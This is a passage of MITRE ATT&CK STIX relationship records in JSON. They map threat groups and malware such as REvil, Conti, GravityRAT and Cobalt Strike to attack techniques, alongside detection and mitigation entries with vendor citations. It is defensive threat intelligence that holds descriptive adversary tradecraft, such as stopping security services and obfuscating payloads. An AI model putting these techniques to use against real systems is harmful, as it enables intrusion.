2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--598500a6-dbb0-435c-a022-67150d6d11e8","created":"2024-06-18T20:09:24.648Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:09:24.648Z","description":"[Spica](https://attack.mitre.org/software/S1140) can upload and download files to and from compromised hosts.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5986609f-f047-4f71-8918-e0d7d33416f0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.677Z","description":"(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--598cdcc9-ba53-41dc-8d19-8486d9945ef2","created":"2022-04-16T17:48:16.524Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\System32\\termsrv.dll, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) to potentially conceal a malicious payload).","modified":"2022-04-16T17:48:44.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--598d55da-c5f9-447c-acad-0c611f1deda0","type":"relationship","created":"2020-08-04T16:03:24.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Group IB Ransomware May 2020","url":"https://www.group-ib.com/whitepapers/ransomware-uncovered.html","description":"Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.474Z","description":"[REvil](https://attack.mitre.org/software/S0496) can identify the username, machine name, system language, keyboard layout, OS version, and system drive information on a compromised host.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--598e9cc3-818c-4fc0-baf3-aba229543da5","type":"relationship","created":"2021-05-05T18:50:14.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"}],"modified":"2021-05-05T18:50:14.602Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has sent spearphishing emails containing malicious links.(Citation: FireEye Clandestine Wolf)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59945377-5b77-4267-ae36-9feebccc42f3","type":"relationship","created":"2022-03-25T14:32:35.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.653Z","description":"[Donut](https://attack.mitre.org/software/S0695) includes subprojects that enumerate and identify information about [Process Injection](https://attack.mitre.org/techniques/T1055) candidates.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59957dc8-edca-43f0-ad5f-726ab4b4aa22","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for newly constructed files that may deface systems internal to an organization in an attempt to intimidate or mislead users.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5998186f-20af-4b30-8ae7-4d4648d96327","created":"2023-01-26T00:44:47.373Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T00:44:47.373Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can decrypt and load other modules.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59984ff6-8907-4f70-b3a7-47d44541e88c","created":"2024-08-22T19:16:05.361Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T19:16:05.361Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can use `ps aux` to enumerate running processes.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59a330b5-9ca3-4888-b81d-ce9e6ce564e5","created":"2024-09-03T16:48:23.985Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:48:23.985Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used RDP for lateral movement.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59a5fbfa-c750-4945-bb9b-c535c36ab969","type":"relationship","created":"2020-02-20T17:14:40.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","source_name":"NIST 800-63-3"}],"modified":"2022-02-16T22:44:25.054Z","description":"Refer to NIST guidelines when creating password policies. (Citation: NIST 800-63-3)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59a61b7e-eb12-4846-89b0-9de5d0dccde6","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for processes being viewed that may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59a6a413-1f3f-44bd-8b66-5685a1e8e6df","type":"relationship","created":"2019-04-19T14:16:54.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2020-03-16T18:22:28.599Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) uses WMI to check the BIOS and manufacturer information for strings like \"VMWare\", \"Virtual\", and \"XEN\" and another WMI request to get the current temperature of the hardware to determine if it's a virtual machine environment. (Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59a6ccad-02c1-4794-ac65-4d01c8ca7a3f","type":"relationship","created":"2020-03-19T23:18:35.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2020-03-19T23:18:35.449Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59ad51ee-bc2e-4428-be3f-ddf50cf0deb9","type":"relationship","created":"2020-05-22T20:27:31.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.510Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to compress stolen data into a .cab file.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59b39f06-a71c-42f7-92f2-244a183113d6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.492Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can start, stop, or delete services.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59b6b000-c8c5-4b4a-8801-5102de111111","created":"2019-01-31T02:01:45.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.787Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has lured victims to launch malicious attachments delivered via spearphishing emails (often sent from compromised accounts).(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59b6b4e2-f2fe-4d81-b85c-1fe6c8102eba","created":"2024-05-20T20:34:20.151Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:34:20.151Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used the Ultimate Packer for Executables (UPX) to obfuscate the FRP client files BrightmetricAgent.exe and SMSvcService.ex) and the port scanning utility ScanLine.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59b7cc7f-469c-4dba-8ee0-4d458777abe7","created":"2023-03-23T19:55:28.695Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T19:55:28.695Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59c58c73-046c-4e01-9ced-8c049381fcd2","type":"relationship","created":"2020-12-29T21:32:28.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."}],"modified":"2020-12-29T21:32:28.114Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can collect any files found in the enumerated drivers before sending it to its C2 channel.(Citation: NHS Digital Egregor Nov 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59c65423-347b-4a09-a24d-c228faaa5119","type":"relationship","created":"2020-10-15T12:05:58.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-28T01:04:39.679Z","description":"Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to intercept HTTPS traffic. Certificate errors may arise when the application’s certificate does not match the one expected by the host.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59c92aeb-1e62-4e60-8ead-63100e068c0d","type":"relationship","created":"2021-05-04T16:06:10.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-06-02T20:40:34.184Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can query the Registry to check for the presence of HKCU\\Software\\KasperskyLab.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59cb4ff6-e1fd-4088-905f-2ade864dabb0","type":"relationship","created":"2020-11-06T18:40:37.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"}],"modified":"2020-11-06T18:40:37.995Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can install a new service.(Citation: Cobalt Strike TTPs Dec 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59cb7691-e0a0-4e34-94ae-63d3e22f21c1","type":"relationship","created":"2021-02-18T18:57:50.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-13T19:18:37.319Z","description":"[Conti](https://attack.mitre.org/software/S0575) can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop.(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59cccc5a-f6f9-4a2f-aa74-2b7235b1855c","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT19","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:03:28.136Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate payloads.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59d3a882-3f6d-442a-8fbe-bb2f9cecd2f5","type":"relationship","created":"2021-09-28T19:47:10.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T17:43:50.365Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has named malicious files update.exe and loaded them into the compromise host's “Public” folder.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59d4e54d-66b8-4603-b189-ba67160da44d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control 